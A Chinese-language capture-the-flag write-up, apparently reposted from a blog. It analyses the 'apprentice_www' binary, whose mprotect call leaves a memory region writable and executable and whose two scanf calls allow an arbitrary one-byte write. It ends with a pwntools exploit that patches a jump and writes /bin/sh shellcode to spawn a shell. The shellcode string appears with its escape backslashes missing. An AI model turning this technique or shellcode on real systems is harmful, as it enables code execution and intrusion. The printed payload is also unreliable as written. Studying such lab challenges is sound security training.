zoukankan      html  css  js  c++  java
  • shellcode-apprentice_www

    1 int __cdecl main(int argc, const char **argv, const char **envp)
    2 {
    3   setbuf(stdin, 0);
    4   setbuf(stdout, 0);
    5   alarm(0x1Eu);
    6   setup((int)main);
    7   return butterflySwag();
    8 }

    打开IDA,发现调用了两个函数。

    1 int __cdecl setup(int a1)
    2 {
    3   int result; // eax
    4   signed int i; // [esp+18h] [ebp-10h]
    5 
    6   for ( i = 0; i <= 2; ++i )
    7     result = mprotect((void *)((i << 12) + (a1 & 0x8048000)), 0x1000u, 7);
    8   return result;
    9 }

     首先是setup函数,通过for循环调用了mprotect两次。mprotect是用来修改内存权限的,第一个参数是指定的起始地址,第二个参数是要修改内存的大小,第三个参数是代号,这里是7那么就是可读可写可执行了。

    i<<12,的意思就是i*2^12,这样的话三次循环的值分别是0,0x1000,0x2000.

    a1&0x8048000,因为main的地址(变量a1)为0x0804863E,所以三次循环的值始终都是0x8048000.

    这样的话,就是把0x8048000到0x804B000的内存空间设置成了可读可写可执行了。

     可以通过pwntools动态调试看一下,上面是未执行setup前的内存。

     这是执行完setup后的内存,可以得以验证。

     1 int butterflySwag()
     2 {
     3   _BYTE *v1; // [esp+18h] [ebp-10h]
     4   unsigned int v2; // [esp+1Ch] [ebp-Ch]
     5 
     6   __isoc99_scanf((const char *)&unk_8048730, &v1);
     7   __isoc99_scanf((const char *)&unk_8048733, &v2);
     8   v2 = (unsigned __int8)v2;
     9   *v1 = v2;
    10   if ( v2 )
    11   {
    12     if ( v2 == 1 )
    13     {
    14       puts("All truly great thoughts are conceived by walking.");
    15     }
    16     else if ( v2 > 4 )
    17     {
    18       if ( v2 > 9 )
    19         puts("When you look into an abyss, the abyss also looks into you.");
    20       else
    21         puts("He who has a why to live can bear almost any how.");
    22     }
    23     else
    24     {
    25       puts("Without music, life would be a mistake.");
    26     }
    27   }
    28   else
    29   {
    30     puts("That which does not kill us makes us stronger.");
    31   }
    32   return 0;
    33 }

    然后来看butterflySwag函数。首先一开始是创建了两个变量,一个是byte类型的指针,一个是int整数。

    第6-7行接收两个变量的输入。

    第8行:unsigned __int8是8bit的int,本来这个v2是32bit的,这里的意思就是把低8bit的值在重新赋值给v2,即v2只取8bit的值。

    第9行:把经过转换取得的v2低8bit的值,放在v1的地址处。

     

     在这里分别输入了1和2,发现程序就出错停止了。原因就是如果把0x1作为地址去访问的话,就会是一个非法地址,程序就会出错误。

    然后再试着输入0x8048000(十进制134512640),和2,发现就成功的写入了,而且程序也正常的执行下去了,因为这个地址范围在之前的setup函数中,被设置成了可读可写可执行。

    通过以上分析,就有思路了,可以通过这两个scanf,去把shellcode写入到setup后的rwx(读写执行)区域,然后再跳转到这个地址上,就能拿到shell了。

    因为下面有许多跳转指令,只需要改一下跳转指令的操作数,跳转到两个scanf之前,循环执行然后写入shellcode就可以了。

    这里改的是scanf之后的第一个跳转指令,如上图。

    这里有一个基础知识就是,跳转指令的地址是原本要执行的紧接着的下一条指令的地址 + 操作数。

     在IDA中可以看到,这条跳转指令的原本要执行的紧接着的下一条指令的地址是0x80485DB.

     需要更改到的跳转地址是0x804859D . 所以这个跳转指令的操作数应为 0x804859D - 0x80485DB = -62  .这个-62用补码表示为0xc2. 所以我们首先就要修改这条跳转指令的操作数为C2 。

    剩下的就可以直接写出脚本了。

     1 #coding:utf-8
     2 from pwn import *
     3 shellcode=b'x31xc9xf7xe1xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80'
     4 io=process('./apprentice_www')
     5 jnz_flag=0x80485DA  #jnz指令的操作数地址
     6 pos_next=0x80485DB  #原本jnz后紧接着的指令地址,这里直接作为存放shellcode的首地址
     7 
     8 io.sendline(str(jnz_flag))
     9 io.sendline(str(0xc2))       #这两行首先修改掉操作数,制造重复调用scanf的loop
    10 
    11 for i in range(0,len(shellcode)):
    12     io.sendline(str(pos_next+i))
    13     io.sendline(str(shellcode[i]))  #向pos_next写入shellcode
    14 io.sendline(str(jnz_flag))  
    15 io.sendline(str(0))             #修改为跳转到pos_next的位置
    16 io.interactive()

  • 相关阅读:
    CF1290E Cartesian Tree
    【LeetCode】11. 盛最多水的容器
    【LeetCode】10. 正则表达式匹配
    【LeetCode】9. 回文数
    【LeetCode】8. 字符串转换整数 (atoi)
    【LeetCode】7. 整数反转
    【LeetCode】6. Z 字形变换
    【LeetCode】5. 最长回文子串
    【LeetCode】4. 寻找两个正序数组的中位数[待补充]
    【LeetCode】3. 无重复字符的最长子串
  • 原文地址:https://www.cnblogs.com/sweetbaby/p/14121115.html
Copyright © 2011-2022 走看看